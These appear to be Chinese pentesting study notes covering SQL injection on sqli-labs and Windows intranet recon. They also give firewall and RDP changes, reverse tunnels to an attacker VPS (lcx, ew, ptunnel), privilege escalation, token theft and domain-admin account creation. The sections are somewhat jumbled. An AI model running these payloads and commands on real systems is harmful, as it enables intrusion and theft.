0%

Mysql内置库:

mysql:保存现有账户信息,权限信息,存储过程,event,时区等信息

sys:包含了一系列的存储过程,自定义函数以及视图来帮助我们快速的了解系统的元数据信息(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)

performance_schema:用于收集数据库服务器性能参数

information_schema:它提供了访问数据库元数据的方式,其中保存着关于Mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表的类型与访问权限等

核心原理:

Mysql内置的information_schema库,他功能强大,是我们进行注入的基石,通过information_schema可以窥视整个数据库的运行情况和数据信息

查询数据的核心语法:

查库:select schema_name from informaiton_schema.schemata

查表:select table_name from information_schema.tables where table_schema=库名

查列:select column_name from information_schema.columns where

table_name=表名

查数据:select 列名 from 库名.表名

若某个数据不能使用单引号包括,可以用hex转换

tips:

  1. 所有类型的注入都是基于查库查表查列
  2. 如果数据太多导致无法返回查询结果,查询的场景:可利用limit限定返回的数量和位置,依次查询。回显数据的场景:concat链接多个数据成为一条返回结果
  3. 在一些场景,想要快速获取数据,需借助工具如bp

    练习:sqli-lab less1

id=1时

1
select * from user where id='1' limit 0,1

可得到用户名和密码回显

1
2
id=2'时
select * from user where id='2' 'limit 0,1

回显语法错误,进行简单的逻辑判断
id=2’ and ‘1’ =’1

1
selec * from user where id ='2' and '1' = '1'

回显正常,得到id=2的用户名和密码,由此可知这一题存在sql注入
利用上述提到的知识进行注入先用union判断字段长度

id=2’ order by 1– +

1
select * from user where id='2' order by 1-- + '

回显正常,说明存在一个字段,依次增加字段数,可知道有三个字段
id=2’ union select 1,2,3–+

1
select * from user where id='2' union select 1,2,3 --+'

回显正常,确实存在三个字段,接着因为2不能返回我们想要的结果,切换为不存在的id值
id=-2’ union select 1,2,(select schema_name from information_schema.schemata)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata)--+'

这次返回提示我们返回的数据过多,我们使用limit对数据进行依次查看或者group_concat将数据集合查看
id=-2’ union select 1,2,(select schema_name from information_schema.schemata limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select schema_name from informaiton_schema.schemata limit 0,1)--+'

获得了库名,继续获得表名
id=-2’ union select 1,2,(select table_name from information_schema.tables where table_schema=’库名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select table_name from information_schema.tables where table_schema='库名' limit 0,1)--+'

获得了表名,继续获得列名
id=-2’ union select 1,2,(select column_name from information_schema.columns where table_name=’表名’ limit 0,1)–+

1
select * from user where id='-2' union select 1,2,(select column_name from information_schema.columns where table_name='列名' limit 0,1)--+'

获得了表名和列名,就可以直接查询数据了
id=-2’ union select 1,2,(select username,password from 库名.表名)–+

1
select * from user where id='-2' union select 1,2,(select username,password from 库名.表名)--+'

如果返回数据过多,依旧使用上述两种方法,如果查询出来过多不便辨认,可以使用concat_ws(‘~’,username,password)进行分割
也有一些比较简单的语句

比如:

1
2
3
4
select user()
select database()
select load_file('文件目录')读本地文件或者系统文件
select 'test' into outfile '文件目录' 写文件(root权限)

Union联合查询

union操作符:

union操作符用于合并两个或多个select语句的结果集。

注意,union内部的select语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条select语句中的列顺序必须相同

默认情况,union操作符选取不同的值,如果允许重复的值,请使用union all

例子:

1
2
select columns_name(s) from table_name1 union select column_name(s) from table_name2
select columns_name(s) from table_name1 union all select column_name(s) from table_name2

union注入应用场景:

  1. 只有最后一个select子句允许有Order by;
  2. 只要最后一个select子句允许有limit
  3. 只要Union链接的几个查询的字段数一样且列的数据类型转换没有问题。就可以查询出结果
  4. 注入点页面有回显
    例子:
1
2
select * from users order by id union select  1,2,3;
select * from users limit 0,1 union select 1,2,3

union注入过程: sqli=lab less4学习

orderby 猜出来的列数超过数据库表中的列数,报错并不能返回数据

  1. orderby确定列数(二分法)
  2. 观察回显,选取数据位置,进行下一步注入
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据
    大体步骤跟上文差不多这里给出例子:

id=-1’ union select 1,2,(select database())–+

1
select * from users where id='-1' union select 1,2,(select database())--+'

接着按照手工注入的步骤继续查询我们想要的信息,如果信息过多就采取limit或者group_concat,要采取间隔就用concat_ws,这样会更好查看一点

寻找注入点:

  1. 目标搜集:
  • 无特定目标:

     inurl:php?id=
    
  • 有特定目标:

      inurl:php?id=site:target.com
    
  • 工具爬取:

     spider,对搜索引擎和目标网站的链接进行爬取
    

工具:googlehack语法

注入识别:

  • 手工简单识别:

    1
    2
    3
    4
    '
    and 1=1 /and 1=2
    and '1' = '1 /and '1'='2
    and 1 like 1 /and 1 like 2
  • 工具识别:

    sqlmap - m filename(file中保存检测目标)
    
    sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)
    
  • 高级识别:

  1. 拓展识别广度和深度:
    sqlmap –level 增加测试级别,对header中相关参数也进行测试
    sqlmap -r filename (filename中为网站请求数据)
    

2.利用工具提高识别效率:

 Burpsuite + sqlmap

 burpsuite拦截所有浏览器访问提交的数据

 burpsuite拓展插件,直接调用sqlmap进行测试

Tips:

可以在参数后键入”*”来确定想要测试的参数

可能出现注入的点:新闻,登陆,搜索,留言

站在开发的角度去寻找

流程:

信息搜集:

  1. 数据库类型
  2. 数据库版本
  3. 数据库用户
  4. 数据库权限
    例子:
1
check the manual that corresponds to your Mysql server for the right synatx 或者 Microsoft JET Database Engine 错误

函数:version().@@version
@@version v$version

user(),SYSTEM_USER

super_priv IS_SRVROLEMEMBER

获取数据:

  1. 获取库信息
  2. 获取表信息
  3. 获取列信息
  4. 获取数据
    方法:语句查询和暴力破解

提权:

  1. 执行命令:sqlserver sa权限 xp.cmdshell或–os-shell
  2. 读文件 : 读中间件配置文件,读数据库配置文件
  3. 写文件 : 写webshell到网站目录

select * from msg where id <>61 and id<>64 order by id desc limit  1,3

select * from msg where id <>61 and id<>64 order by id desc limit  1,3

use runoob

set names utf8

select * from websites

大写不敏感,且在语句末端使用分号

select update delete 

insert into create database

alter database

create table

alter table

drop table

create index

drop index

select column_name,column_name from table_name;

select * from table_name;

select name,country from websites;

select distinct column_name,column_name from table_name;

select column_name,column_name from table_name where column_name operator value;

select * from websites where country=’CN’;

select * from websites where id = 1;

and 如果第一个条件和第二个条件都成立,则AND运算符显示一条记录

or 如果第一个条件和第二个条件只要有一个成立,则or运算符显示一条记录

(基于一个以上的条件对记录过滤)

select * from  websites where country=’CN’ and alexa > 50;

select * from websites where  country=’USA’ or country=’CN’;

select * from websites where  alexa>5 and (country=’CN’ or country=’USA’);

select column_name,column_name from table_name order by column_name,column_name asc|desc

insert into table_name values (1,2,3,4);

insert into table_name (column_name1,column_name2,column_name3) values (value1,value2,value3);

insert into websites (name,url,alexa,country) values(1,2,3,4);

insert into websites(name,url,alexa,country) values(1,2,3,4);

update table_name set column1=value1,column2=value2 where some_column=some_value;

update websites set alexa=’5000’,country=’USA’ where name = ‘菜鸟教程’;

delete from table_name where some_column=some_value;

delete from websites where name=’facebook’ and country=’USA’;

delete from table_name;delete * from table_name;

select column_name(s) from table_name limit number;

select * from persons limit 5;

select * from websites limit 2;

select column_name(s) from table_name where column_name like pattern;

select * from websites;

select * from websites where name like ‘G%’;%为通配符

%替代0个或多个字符

_替代一个字符

[charlist]字符列中的任何一个单一字符

[^charlist]不在字符列中的任何单一字符

select * from websites where url like ‘https%’;

select * from websites where url like ‘_oogle’;

select column_name(s) from table_name where column_name in (value1,value2);

select column_name(s) from table_name where column_name between value1 and value2;

select column_name(s) from table_name where column_name not between value1 and value2;

select * from websites where (alexa between 1 and 20) and country not in (‘usa’,’ind’);

select column_name(s) from table1 union select column_name(s) from table2;

select column_name(s) from table1 union all select column_name(s) from table2;

select * from websites;

select * from apps;

select country from websites union select country from apps order by country;

select country,name from websites where country=’CN’ union all select country,app_name from apps where country=’CN’ order by country;

drop table table_name;

drop database database_name;

truncate table table_name;

alter table table_name;

add column_name datatype;

modify column column_name datatype;

mysqli_connect(host,username,password,dbname,port,socket);

mysqli_close(mysqli &link);

select system_user();

select user();

select current_user();

select session_user();

select database();

use security;

select database();

select version();

select @@version;

select @@datadir;

select @@basedir;

select @@version_compile_os;

select * from users;

select count(*) from users;

select concat(1,2);

select concat(username,password) from users;

select concat_ws(“:”username,password) from users;

select username from users;

select group_concat(username) from users;

select ‘mysql’ into outfile ‘/tmp/mysql’;

select load_file(‘/tmp/mysql’);

select ascii(‘a’);

select ord(‘bc’);

select mid(‘mysql’,1,1);

select substr(‘mysql’,1,1);

select  length(‘mysql’);

select left(‘mysql’,1);

select floor(5.1);

select rand();

select sleep(2);

select IF(1<2,2,3);

select char(97);

select strcmp(‘a’,’b’);

select ifnull(1,2);

select ifnull(Null,2);

select exp(1);

and 1=2 union select 1,2,3–;

select user() regexp ‘^ro’;

ascii(substr((select user()),1,1))=114;

if(ascii((select user()),1,1))=114,0,sleep(4));

(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=9);

updatexml(1,concat(0x7e,(select,@@version),0x7e),1);

前置知识:sql基础语法

环境:mysql,Sqli-lab,phpstudy

原理:

编写代码时没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断,攻击者利用这个机会提交一段数据库查询代码,根据程序返回的结构就可以获得一些数据库信息

SQL注入是一种将恶意的sql代码插入或添加到应用的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙地构造SQL语句,对DBMS的内容进行直接检索或修改

灵活的SQL查询语句+用户输入的数据带入了SQL语句=用户直接操作数据库->SQL注入

例如:

正常查询:

1
2
3
4
select version();
select id from jobs where id = 1;
select id from jobs where id = 1 union select version();
select id,location from jobs where id = 1 union select 1,version();

用户输入可控,代码对用户输入,带入了SQL语句,产生了SQL注入漏洞:

http://test.com/index.php?id=1 union select 1,version()#

前者是正常输入,后者是用户输入可自主控制

代码实现:

1
2
$id=$_GET['id'];
$sql="select * from users where id='$id' limit 0,1"

具体输入:

1
select id,location from jobs where id = 1

返回id为1的location

1
select id,location from jobs where id = 1 union select 1,version()#

返回id为1的location和数据库版本
如果是想查询id和其他数据的信息,比如说查id和版本信息时

正常查询:

1
select * from users where id=1  union select 1,2,version()#

上面是正常查询的语句,但如果要代入代码即上面贴出的

1
$sql="select * from users where id='$id' limit 0,1"

我们则要考虑闭合单引号,构造payload:

1
id=1' union select 1,2,version()# 

PS:#为sql中的注释,即后面的语句全都忽略不执行
把payload代入代码就是这样的

1
$sql="select * from users where id='1' union select 1,2,version()#'  limit 0,1"

这里可以很清晰的看见1’闭合了前面的select后面的union联合查询执行查询版本信息,#把后面的给注释忽略不执行,这就是比较典型的一个sql注入语句
但是这里所有我们自主输入的数据都是正确可执行的,比如id=1’,闭合后就是id=’1’就是查询1,执行后显示的就是id为1的数据,后面union查询的不会显示,所以需要把第一个数据改为一个错误或者说是不存在的比如说是-1

1
id=-1' union select 1,2,version()# 

再把上面的代入$sql这里,就能显示出版本的信息。

Mysql常用函数及逻辑运算:

PS:内置函数推荐去官方文档去查看或者是菜鸟教程之类的

常用函数:

system_user():系统用户名

user():用户名

current_user():当前用户名

session_user():连接数据库的用户名

database():数据库名

version():数据库版本

@@datadir:数据库路径

@@basedir:数据库安装路径

@@version_compile_os:数据库安装路径

count():返回执行结果数量

concat():没有分隔符地连接字符串

concat_ws():含有分隔符地连接字符串

group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

load_file():读取本地文件

into_outfile:写文件

ascii():字符串的ASCII代码值

ord():返回字符串第一个字符的ASCII值

mid():返回一个字符串的一部分

substr():返回一个字符串的一部分

length():返回字符串的长度

left():返回字符串的最左面几个字符

floor():返回小于或等于x的最大整数

rand():返回0和1之间的一个随机数

extractvalue():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

updatexml():第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc

第二个参数:Xpath_string(Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

sleep():让此语句运行N秒钟

if():>select if(1>2,2,3);

_>3

char():返回整数Ascii代码字符组成的字符串

STRCMP():比较字符串内容

IFNULL():假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2

exp():返回e的x次方

算术运算符:

+:加法运算 -: 减法运算 *:乘法运算 /:除法运算 %:求余运算

DIV:除法运算,同”/“ MOD:求余运算,同“%”

比较运算符:

:大于 <:小于 =:等于 >=:大于等于 <=:小于等于 !=或<>:不等于

IS NULL:为空 IS NOT NULL:不为空

BETWEEN AND:在…之间 IN:包含

NOT IN:不包含 LIKE:模式匹配

NOT LIKE:模式匹配 REGEXP:正则匹配式

逻辑运算符:

&&或AND:与 !或NOT:非 ||或OR:或 XOR:异或

AND<–>OR:

1
select * from users where id = 1 and 1=1

前者为true,后者也是true,总体为true

1
select * from users where id = 1 or 1 = 2

前者为true,后者为false,总体为true
以上为AND和OR的区别

登陆处的SQL语句:

1
select * from users where username = 'admin' and pwd = 'pass' ;

万能密码:‘or ‘1’ = ‘1

1
select * from users where username = '  'or '1' = '1  ' and pwd = ' ' or '1' = '1 '
1
select * from users where username = " or '1' = '1' and pwd = " or '1' = '1'

然后直接分析可以发现false和true并为true,true再和false并为false,false再和true并为true

样例分析:

1
2
3
4
5
6
7
8
9
10
11
12
and 1=2 union select 1,2,3--

select user() regexp '^ro'

ascii(substr(select user()),1,1))=114

if(ascii(substr((select user()),1,1))=114,0,sleep(5))

(ascii(substr((select table_name from information_schema.t
ables where table_schema=database() limit 0,1),1,1)=9)

updataxml(1,concat(0x7e,(select @@version),0x7e),1)

内网信息搜集

手动信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
ipconfig /all  查询网络配置信息
systeminfo 查询系统信息/可以看当前域
echo %PROCESSOR_ARCHITECTURE% 查看系统体系结构
wmic product get name,version 查看安装的软件以及版本,路径等
wmic service list brief 查询本机服务信息
tasklist 查询进程列表
schtasks /query /fo LIST /v 查看计划任务
net statistics workstation 查看主机开机时间
net user 查询用户列表
net localgroup administrator 获取本地管理员信息
query user || qwinsta 查看当前在线用户
net session 列出或断开本地计算机与所连接的客户端之间的会话
netstat -ano 查询端口列表
net share 查询本机共享列表
关闭防火墙:
2003之前:netsh firewall set opmode disable
2003之后:netsh advfirewall set allprofiles state off
netsh firewall show config 查看防火墙配置
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action =allow 允许3389端口放行
开启3389:
2003中:wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
2008和2012中:reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
whoami /all 获取域SID
net user xxx /domain 查看指定用户的详细信息
net config workstation 查看当前登录域以及登录用户信息
net time /domain 三种情况
存在域,但是当前用户不是域用户,会出现拒绝访问
存在域,当前用户是域用户,会出现时间
不存在域,出现找不到域WORKGROUP的域控制器
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I |findstr "TTL="
net view /domain 查询域
net view /domain:HACKE 查询域内所有计算机
net group /domain 查询域内所有用户组列表
net group "domain computers" /domain 查询所有域成员计算机列表
net accounts /domain 获取域密码信息
nltest /domain_trusts 获取域信任信息
nltest /DCLIST:hacke 查看域控的机器名
net group "Domain Controllers" /domain 查看域控制器组
netdom query pdc 查看域控制器组
wmic useraccount get /all 获取域内用户的详细信息
dsquery user 查看存在的用户
net localgroup administrators 查询本地管理员组用户
net group "domain admins" /domain 查询域管理员用户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Admins" /domain 获取域管理员列表
tasklist /v 列出本机的所有进程及进程用户
net group "Domain Controllers" /domain 查询域控制器列表
net group "Domain Admins" /domain 收集域管理员列表

隐藏通信隧道

  • 网络层:IPv6隧道,ICMP隧道,GRE隧道
  • 传输层:TCP隧道,UDP隧道,常规的端口转发
  • 应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道

ICMP隧道—网络层

使用PingTunner工具,在web服务器执行如下代码ptunnel -x shuteer,在VPS服务器中执行如下命令 ptunnel -p web服务器ip -lp 1080 -da 服务器内网其他服务器IP -dp 服务器内网其他服务器端口 -x ch1e

  • -x 指定隧道连接的验证密码
  • -lp 指定要监听的本地TCP端口
  • -da 指定要转发的模板机器的ip地址
  • -dp 指定要转发的目标机器的tcp端口
  • -p 指定icmp隧道另一端的机器的ip地址

下面举个例子,比如 ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 ,上面这条命令就是在访问攻击者VPS的ip也就是192.168.1.5的1080端口,他会把数据库服务器1.1.1.10的3389端口的数据封装在ICMP隧道里,只需要访问192.168.1.5的1080端口即可连接1.1.1.10 的远程桌面

特征:会产生大量的ICMP数据包,会在所有ICMP payload前面加上TUNL标记

端口转发—传输层

内网端口转发

在公网vps上执行,把本地监听的4444端口转发到5555端口

lcx.exe -listen 4444 5555

目标机器执行,把目标机器3389端口的数据转发到公网4444端口上

lcx.exe -slave 公网主机ip地址 4444 127.0.0.1 3389

使用远程桌面登录 公网主机ip地址:5555即可访问目标服务器的3389端口

本地端口映射

如果目标服务器有防火墙限制,3389等端口数据无法通过,可以吧数据传到防火墙允许的其他端口,比如53

lcx.exe -tran 53 目标主机ip地址 3389

SSH隧道—应用层

本地转发

一般SSH协议是被运行通过防火墙和边界设备的,所以可以使用ssh协议开启隧道,主要参数如下

  • -C:压缩传输,提高速度
  • -f:把ssh传输转入后台执行,不占用当前的shell
  • -N:建立静默链接,只是看不到会话
  • -g:允许远程主机连接本地用于转发的端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发
  • -P:指定SSH端口

Example:ssh -CfNg -L VPS端口:目标主机:目标端口 root@跳板机ip(一般是web服务器ip)

远程转发

以web服务器为跳板,把VPS的3307端口的流量转发到1.1.1.10的3389端口,然后访问VPS的3307端口 ,就可以访问到1.1.1.10的3389端口了

ssh -CfNg -R 3307:1.1.1.10:3389 root@192.168.1.4

防御思路:在ACL中限制只有特定的IP地址才能连接ssh

HTTP/HTTPS隧道—应用层

常见的代理工具有reGeorg,meterpreter,tunna等

reGeorg支持ASPX PHP JSP等Web脚本,首先得把脚本文件上传到目标服务器上,然后运行以下命令

python reGeorgSocksProxy.py -u http://192.168.184.149:8080/tunnel.jsp -p 9999

然后可以使用类似ProxyChains之类的工具

Socks代理

EarthWorm:ew

普通网络环境

正向socks5服务器:

ew -s ssocksd -l 888 执行上述命令,即可架设一个端口为888的socks代理

反向socks5服务器:

在个人公网vps上输入如下命令:

ew -s rcsocks -l 1080 -e 888 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 888 端口的主机

在Web服务器上使用如下命令:

ew -s rssocks -d 1.1.1.1 -e 888 1.1.1.1是个人的公网vps的IP,将目标网络的可控边界主机反向连接公网主机1.1.1.1

所以我们可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

二重网络环境

对于二重网络环境:
1. 获得目标网络内两台主机 A、B 的权限,情况描述如下:

        A 主机:  存在公网 IP,且自由监听任意端口,无法访问特定资源
        B 主机:  目标网络内部主机,可访问特定资源,但无法访问公网
        A 主机可直连 B 主机
        
                                可控边界主机A             可访问指定资源的主机B
          +---------+     +-----------------------+      +-----------------+
          |HackTools| ->> | 1080 -->  2.2.2.2 --> | ->>  | 9999 -> 2.2.2.3 |
          +---------+     +-----------------------+      +-----------------+

        a)  ./ew -s ssocksd -l 9999
                // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
        b)  ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 
                // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
        c)  HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
        
2.  获得目标网络内两台主机 A、B 的权限,情况描述如下:

        A 主机:  目标网络的边界主机,无公网 IP,无法访问特定资源。
        B 主机:  目标网络内部主机,可访问特定资源,却无法回连公网。

        A 主机可直连 B 主机
                              一台可控公网IP主机                    可控内网主机A         可访问指定资源的主机B
          +---------+     +--------------------------+    |    +-----------------+      +-----------------+
          |HackTools| ->> | 1080 ->  1.1.1.1 -> 8888 |  防火墙  | <--  2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
          +---------+     +--------------------------+    |    +-----------------+      +-----------------+

        a)  ./ew -s lcx_listen -l 1080 -e 8888
                    // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
                    // 转交给反连 8888 端口的主机
        b)  ./ew -s ssocksd -l 9999
                    // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
        c)  ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
                    // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
        d)  HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理

判断是否出网

权限提升

权限介绍

User:普通用户权限,系统中最安全的权限

Administrator:管理员权限,可以提升为System权限,方便操作SAM文件

System:系统权限

TrustedInstaller:Windows中的最高权限,只有这个权限才能修改系统文件

提权方法

  • 系统内核溢出漏洞提权
  • 数据库提权
  • 错误的系统配置提权
  • 组策略首选项提权
  • Web中间件漏洞提权
  • DLL劫持提权
  • 滥用高权限令牌提权
  • 第三方服务/软件提权

系统内核溢出漏洞提权

如果没有及时打补丁,我们就可以找到对应的exp进行提权

首先可以输入命令systeminfo,然后放到Windows提权辅助工具里寻找可用的exp即可

防御方法:打好补丁

系统服务权限配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件,如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以把该文件替换成任意可执行文件,并随着系统服务器的启动获得可执行权限。

存在下面两种可能:

  • 服务未运行,攻击者使用任意服务替换原来的服务,然后重启服务
  • 服务正在运行并且无法终止,攻击者通常会利用DLL劫持尝试重启服务来提权

我们可以使用Metasploit,对应的利用模块是service_permissions 选择AGGRESSIVE选项,可以利用目标机器上每一个有缺陷的服务。

注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是有个策略设置项,Windows允许低权限用户以System权限允许安装文件,如果启动此选项,任何权限的用户都能以NT/AUTHORITY安装msi文件。

漏洞产生原因:开启了Windows Instaler特权安装功能

可信任服务路径漏洞

可信任服务路径(包含空格且没有引号的路径)利用了Windows文件路径解析的特性,并涉及服务路径/文件夹权限。如果一个服务调用的可执行文件没有正确的处理所引用的完整路径名,这个漏洞就可以被攻击者用来上传任意可执行文件。

这里主要介绍MSF下的实战利用

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

然后检测是否有对目标文件夹的写入权限,使用Windows内置的icacls根据,依次检查上一步输出的路径,会发现有些目录后有Everyone:(OI)(CI)(F)字样

  • Everyone:用户对这个文件夹有完全控制权限,所有用户都具有修改这个文件夹的权限
  • (M):修改
  • (F):完全控制
  • (CI):从属容器将继承访问控制项

Everyone:(OI)(CI)(F)的意思就是用户对这个文件夹有读,写,删除其下文件,删除子目录的权限

确认目标机器中存在此漏洞后,把要上传的程序重命名并且放置在存在此漏洞且科协的目录下,执行以下命令,尝试重启服务

1
2
sc stop service_name
sc start service_name

也可以使用Metasploit中的Windows Service Trusted Path Privilege Escalation模块

自动安装配置文件

网络管理员在多台机器配置同一个环境时,通常不会逐台配置,会使用批量部署的方法,在这过程中会安装配置文件,包含所有安装配置信息。

  • C:\sysprep.ini
  • C:\sysprep\sysoreo.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml
  • C:\unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattended.xml
  • C:\Windows\Panther\Unattend\Unattended.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\System32\Sysprep\unattend.xml
  • C:\Windows\System32\Sysprep\Panther\unattend.xml

也可以执行如下命令进行搜索

dir /b /s c:\Unattend.xml

Metasploit中集成了该漏洞的利用模块post/windows/gather/enum_unattend

计划任务

可以用如下命令查看计算机的计划任务

schtasks /query /fo LIST /v

我们可以查询当前权限对高权限运行的任务所在的目录是否有可写权限,如果有就可以使用恶意程序来覆盖原来的程序,这样在计划任务下次执行时,就会以高权限来运行恶意程序

可以使用AccessChk是微软官方提供的一个工具,不会引起杀软的报警

1
2
3
4
5
6
列出某个驱动器下所有权限配置有缺陷的文件夹
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\*.*
列出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs“AuthenticatedUsers”c:\*.*

at命令

Windows Server 2008之前版本使用,使用at创建计划任务流程如下

  • 使用net time确定远程机器当前的系统时间
  • 使用copy命令把Payload文件复制到远程目标机器中
  • 使用at命令定时启动Payload文件
  • 删除使用at命令创建计划任务的记录

具体命令执行流程如下:

  • net time \\192.168.100.1
  • copy calc.bat\ \192.168.100.1\C$
  • at \\192.168.100.1 4:44PM C:\calc.bat Added a new job with job ID=7
  • at \\192.168.100.1 7 /delete

schtasks命令

Windows Server2008后不使用at命令,使用schtasks命令代替at命令

1
2
3
4
5
6
7
8
在远程主机上创建一个名称为test的计划任务,在开机时启动,启动权限是system
schtasks /create /s 192.168.100.1 /tn test /sc onstart /tr c:\calc.bat /ry system /f
执行计划任务
schtasks /run /s 192.168.100.1 /i /tn "test"
删除计划任务
schtasks /delete /s 192.168..100.1 /tn "test" /f
删除ipc$
net use 名称 /del /y

组策略首选项

一般的域环境所有机器都是脚本化自动部署,为了方便对所有的机子进行操作,会使用组策略进行统一的管理和配置,管理员可以通过组策略统一修改密码,但是如果这样,那所有的机子的管理员密码都是相同的,我们只要获取一台的本地管理员密码,那么就相当于获得了域中所有机器的本地管理员密码

常见的组策略首选项

  • 映射驱动器
  • 创建本地用户
  • 数据源
  • 打印机配置
  • 创建/更新服务
  • 计划任务

管理员在域中更新一个组策略以后,操作系统会自动在SYSVOL共享目录中生成一个xml文件,该文件保存了该组策略更新后的密码,使用了AES-256加密算法,但是由于微软在2012年公开了该密码的密钥,导致密码的安全性降低

我们可以直接找到包含cpassword的xml文件,对密文进行解密

防御方法:

  • 安装KB2962486补丁
  • 设置共享文件夹Everyone的访问权限
  • 把包含组策略密码的Xml文件中SYSVOL的目录中删除
  • 不要把密码放在所有域用户都有权访问的文件中
  • 如果需要更改域中机器的本地管理员密码,建议使用LAPS

BypassUAC

计算机的操作系统版本大于Windows Vista或更高,在权限不够的情况下, 访问系统磁盘的根目录,Windows目录,Program Files目录,以及读,写系统登录数据库的程序等操作,需要经过UAC(User Account Control)的认证

UAC有四种设置要求,始终通知,仅在程序视图更改我的计算机时通知,仅在程序视图更改我的计算机时候通知我(不降低桌面亮度),从不提示

仅在程序视图更改我的计算机时通知是默认情况

假设我们经过前提的渗透测试已经获得到了目标的meterpreter的shell,当前权限为普通用户,如果我们尝试获取系统的System权限,可以先运行exploit/windows/local/bypassuac模块,然后执行getsystem(在使用这个模块的时候当前用户必须在管理员组中,UAC必须为默认设置)

也可以使用RunAs模块,使用exploit/windows/local/ask模块,在弹出的uac对话框中选择是,即可,要求是当前用户在管理员组或知道管理员的密码,对UAC无要求,需要使用EXE::Custom选项创建一个可执行文件,需要进行免杀处理

令牌窃取

令牌是系统中的临时密钥,相当于账号和密码,有了令牌就可以在不提供密码或者其他凭证的情况下访问网络和系统资源,他的特地是随机性和不可预测性,访问令牌(Access Token)代表访问控制操作主体的系统对象,密保令牌(Security Token)叫认证令牌或者硬件令牌,是一种实现计算机身份校验的物理设备,比如U盾,会话令牌(Session Token)是交互会话中唯一的身份标识符

伪造令牌的核心是kerberos协议,首先是客户端向服务端请求证书,认证服务器收到请求,把包含密钥的加密证书给客户端,该证书包含了服务器Ticket和一个临时加密密钥,也会向服务器发送一份证书,使服务器可以验证客户端身份,客户端把Ticket给服务器,如果服务器确认客户端身份,就允许登录,客户端登录服务器以后,攻击者就可以通过入侵服务器来窃取客户端的令牌

假设获取到了目标机器的meterpreter shell,首先输入 user incognito,然后输入 list_tokens -u,列出可用的令牌,有两种类型的令牌,一种是Delegation Tokens,就是授权令牌,支持交互式登录,另外一种是Impersonation Tokens,也就是模拟令牌,支持非交互式的会话,令牌数量取决于meterpreter shell的访问级别,然后调用impersonate_token就可以假冒用户了,比如impersonate_token WIN-xxx//Administrator

Rotten Potato

1
2
3
4
5
use incognito
list_tokens -u
把rottenpotato.exe上传到目标服务器
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

添加域管理员

拿到meterpreter shell以后输入ps,找到域管理进程,使用migrate 迁移到这个进程,输入shell进入控制行界面

1
2
3
net user ch1e ch1esec /ad /domain     添加域用户
net group "domain admins" ch1e /ad /domain 添加到域管理员组
net group "domain admins" /domain

同样,在meterpreter中可以使用incognito来模拟域管理员,通过迭代系统中所有可用的身份验证令牌来添加域管理员

1
2
3
4
在活动的meterpreter中执行如下命令, 在域控主机上添加一个账号
add_user ch1e ch1esec -h 1.1.1.2
执行如下命令,把账户添加到管理员组中
add_group_user "Domain Admins" ch1e -h 1.1.1.2

横向移动

IPC(Internet Process Connection)

通过$IPC,可以与目标机器建立连接,可以访问目标机器的文件,进行上传和下载操作,还可以运行其他命令

